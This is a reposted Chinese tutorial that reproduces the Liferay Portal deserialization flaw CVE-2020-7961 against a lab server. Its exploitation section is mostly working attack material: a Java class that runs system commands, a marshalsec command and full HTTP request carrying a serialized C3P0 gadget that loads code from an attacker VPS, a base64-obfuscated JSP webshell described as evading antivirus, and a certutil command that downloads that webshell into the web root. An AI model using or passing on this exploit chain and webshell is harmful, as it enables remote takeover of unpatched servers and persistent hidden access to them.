您当前的位置:首页 > 电脑百科 > 安全防护 > 网络安全

黑客演示CVE-2020-7961_Liferay Portal反序列化漏洞

时间:2020-08-10 10:34:26  来源:  作者:

CVE-2020-7961_Liferay Portal反序列化过程复现。

漏洞说明

Liferay是一个开源的Portal产品,提供对多个独立系统的内容集成,为企业信息、流程等的整合提供了一套完整的解决方案,和其他商业产品相比,Liferay有着很多优良的特性,而且免费,在全球都有较多用户。该漏洞是个反序列化导致的RCE,通过未授权访问其api传递json数据进行反序列化,危害较高

影响范围

Liferay Portal 6.1、6.2、7.0、7.1、7.2

环境搭建

漏洞环境:

windows 10

jre1.8.0_221

jdk1.8.0_221

Tomcat集成包:本实验 用的liferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761.tar.gz

启动环境

E:tmpliferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761liferay-portal-7.2.0-ga1tomcat-9.0.17bin> .catalina.bat run

访问 http://localhost:8080/ 全部默认配置就可以

黑客演示CVE-2020-7961_Liferay Portal反序列化漏洞

 

漏洞利用

思路:构造恶意class文件->构造序列化->反序列化->加载VPS上面恶意evil.class文件->实现下载webshell

构造恶意class文件

在VPS上面创建 LifExp.JAVA(该写法为目标是Windows,运行计算器)->编译class文件

public class LifExp {

static {

try {

String[] cmd = {"cmd.exe", "/c", "calc.exe"};//命令执行

java.lang.Runtime.getRuntime().

exec(cmd).waitFor();

} catch ( Exception e ) {

e.printStackTrace();

}

}

}

使用 javac .LifExp.java 生成class文件

在当前目录使用 Python -m SimpleHTTPServer 8000 监听8000端口启动一个wbe服务

构造序列化

使用 marshalsec-0.0.3-SNAPSHOT-all.jar 文件进行序列化:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrApperConnPool http://你的IP:你的端口/ LifExp

黑客演示CVE-2020-7961_Liferay Portal反序列化漏洞

 

构造HTTP数据包

把 defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource= 后面的值替换为上面选中部分

POST /api/jsonws/invoke HTTP/1.1

Host: 192.168.207.133:8080

Content-Length: 1365

Content-Type: application/x-www-form-urlencoded

Connection: close

cmd={"/expandocolumn/add-column":{}}&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740019687474703a2f2f35392e3131302e3135372e343a383030302f740003466f6f;"}

发包,不出意外会返回500

黑客演示CVE-2020-7961_Liferay Portal反序列化漏洞

 

但是计算器是弹出来了;

别看他只是一个小小的计算器,但是他的威力是无穷的,因为你可以弹一万个计算器执行其他命令来对靶机进行攻击,比如下载一个webshell

出网下载webshell

这个得免杀JSPshell,之前用一个一句话,除了whoami都不能来事儿。

VPS上面构造一个txt:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%@ page import="sun.misc.BASE64Decoder" %>

<%

if(request.getParameter("cmd")!=null){

BASE64Decoder decoder = new BASE64Decoder();

Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));

Process e = (Process)

rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new

String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new

Object[]{}), request.getParameter("cmd") );

java.io.InputStream in = e.getInputStream();

int a = -1;

byte[] b = new byte[2048];

out.print("<pre>");

while((a=in.read(b))!=-1){

out.println(new String(b));

}

out.print("</pre>");

}

%>

替换编译下面的java:

public class LifExp {

static {

try {

String[] cmd = {"cmd.exe", "/c", "certutil.exe -urlcache -split -f", "http://IP:端口/jspshell.txt", "..\webapps\ROOT\jspshell.jsp"};

java.lang.Runtime.getRuntime().

exec(cmd).waitFor();

} catch ( Exception e ) {

e.printStackTrace();

}

}

}

第四行,Windows下使用certutil.exe可以实现文件下载,curl功能。

因为当前靶机执行命令的路径是 tomcatbin 所以我们下载webshell的时候,一定要下载到index.jsp相同路径便于我们访问,也就是 tomcat-9.0.17webappsROOT 。

执行了命令之后,我们在这个文件夹下面已经可以看到我们的shell了:

黑客演示CVE-2020-7961_Liferay Portal反序列化漏洞

 

而这个时候我们已经可以正常访问shell了:

黑客演示CVE-2020-7961_Liferay Portal反序列化漏洞

 

因为用的免杀shell用法?cmd=cmd /c 命令,所以需要进行url编码才可用。



Tags:反序列化漏洞   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
前言phar反序列化漏洞很久之前就开始接触了;因为当时出了点问题导致一直无法成功,所以当时直接去学习其他的漏洞了;今天觉得是时候把这个漏洞补上去了;漏洞成因phar文件会以序列...【详细内容】
2021-07-16  Tags: 反序列化漏洞  点击:(99)  评论:(0)  加入收藏
0&times;01:序列化基本概念 序列化:将对象写入IO流中 反序列化:从IO流中恢复对象 意义:序列化机制允许将实现序列化的Java对象转换位字节序列,这些字节序列可以保存在磁盘上,或通...【详细内容】
2021-06-11  Tags: 反序列化漏洞  点击:(151)  评论:(0)  加入收藏
最近学习java反序列化学到了weblogic部分,weblogic之前的两个反序列化漏洞不涉及T3协议之类的,只是涉及到了XMLDecoder反序列化导致漏洞,但是网上大部分的文章都只讲到了触发XMLDecoder部分就结束了,并没有讲为什么XMLDec...【详细内容】
2020-08-20  Tags: 反序列化漏洞  点击:(122)  评论:(0)  加入收藏
CVE-2020-7961_Liferay Portal反序列化过程复现。漏洞说明Liferay是一个开源的Portal产品,提供对多个独立系统的内容集成,为企业信息、流程等的整合提供了一套完整的解决方...【详细内容】
2020-08-10  Tags: 反序列化漏洞  点击:(148)  评论:(0)  加入收藏
写在前面今天收到运维人员的反馈,说程序有漏洞,如下图: 哎,不查不知道,一查吓一跳。发现两个问题!!Apache Shiro是一个强大且易用的Java安全框架,被用来执行身份验证、授权、密码...【详细内容】
2020-07-30  Tags: 反序列化漏洞  点击:(3306)  评论:(0)  加入收藏
fastjson 是 java 中常用的一个用来序列化反序列化 JSON 数据的库。因其优异的性能表现,在 java web 开放中应用比较广泛。最近需要写一个 fastjson 的检测插件,稍微研究了一...【详细内容】
2019-12-25  Tags: 反序列化漏洞  点击:(160)  评论:(0)  加入收藏
Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够...【详细内容】
2019-08-16  Tags: 反序列化漏洞  点击:(300)  评论:(0)  加入收藏
▌简易百科推荐
(报告出品方:德勤)数字化转型网络安全及转型挑战在任何行业,保持竞争力都需要快速开发新产品和 服务并推向市场。创新型业务模式不仅仅是简单地将现有 流程数字化,其正在覆盖供应...【详细内容】
2021-12-22  认是    Tags:网络安全   点击:(19)  评论:(0)  加入收藏
10月18号, W3C中网络平台孵化器小组(Web Platform Incubator Community Group)公布了HTML Sanitizer API的规范草案。这份草案用来解决浏览器如何解决XSS攻击问题。 网络安全中...【详细内容】
2021-12-07  实战Java  博客园  Tags:脚本攻击   点击:(18)  评论:(0)  加入收藏
一、背景介绍大家在Linux的日常使用中都晓得如何通过命令行去配置Linux的端口开放规则,但是大家知道如何配置Windows入站出站规则吗?有哪些常见的危险端口呢?如何解决上述问题...【详细内容】
2021-12-01  Kali与编程    Tags:防火墙   点击:(30)  评论:(0)  加入收藏
网络安全服务商Randori公司日前发布了一份调查报告,列出了网络攻击者最有可能攻击或利用的IT资产。在遭遇Solarwinds黑客攻击一周年之际,以及在网络安全(尤其是勒索软件和供应...【详细内容】
2021-10-28  企业网D1net   企鹅号  Tags:网络攻击   点击:(57)  评论:(0)  加入收藏
0x01.背景实验利用Dns Administrators 组成员,通过远程配置Dns服务,进行Dll inject从而实现特权提升。 在域内,Dns server 通常为Dc Server,Dns服务器管理基于rpc,通过调用c:\wi...【详细内容】
2021-10-22  IT影子    Tags:特权提升   点击:(37)  评论:(0)  加入收藏
本文主要介绍和总结了CSRF跨站请求伪造的基本原理和主要防范措施,工作中有用到的朋友不妨收藏转发一下,以备您参考。什么是CSRF?CSRF跨站点请求伪造(Cross&mdash;Site Request...【详细内容】
2021-10-13  快乐中恒    Tags:CSRF   点击:(49)  评论:(0)  加入收藏
waf拦截在打某市 Hvv 第一天就找到一个文件上传的点,经过测试,可以直接任意文件上传,没有什么道理。 直接尝试上传 Php 文件,被 waf 拦截了 2021最新整理网络安全/渗透测试/安...【详细内容】
2021-10-11  KaliMa    Tags:防火墙   点击:(56)  评论:(0)  加入收藏
应用程序与文件系统的交互始终是高度安全敏感的,因为较小的功能漏洞很容易成为可利用漏洞的来源。这种观察在web文件管理器的情况下尤其正确,其作用是复制完整文件系统的功能...【详细内容】
2021-09-17  IT野涵    Tags:漏洞链   点击:(56)  评论:(0)  加入收藏
您的苹果手机尽管iPhone比Android更安全,但也可以通过各种方式入侵。避免黑客入侵的最佳方法是警惕奇怪的链接或粗略的应用程序,并仅在必要时提供信息。电池寿命差和性能低下...【详细内容】
2021-09-16  Hackers爱好者    Tags:黑客入侵   点击:(631)  评论:(0)  加入收藏
防火墙一般布置在逻辑区域的入口处,位于三层网络架构的核心和汇聚之间,起到隔离逻辑区域,为逻辑区域创建安全策略的作用。 上面就是应用区的防火墙布置方式,他布置在应用区,可以...【详细内容】
2021-09-03  知来知去    Tags:主备模式防火墙   点击:(109)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条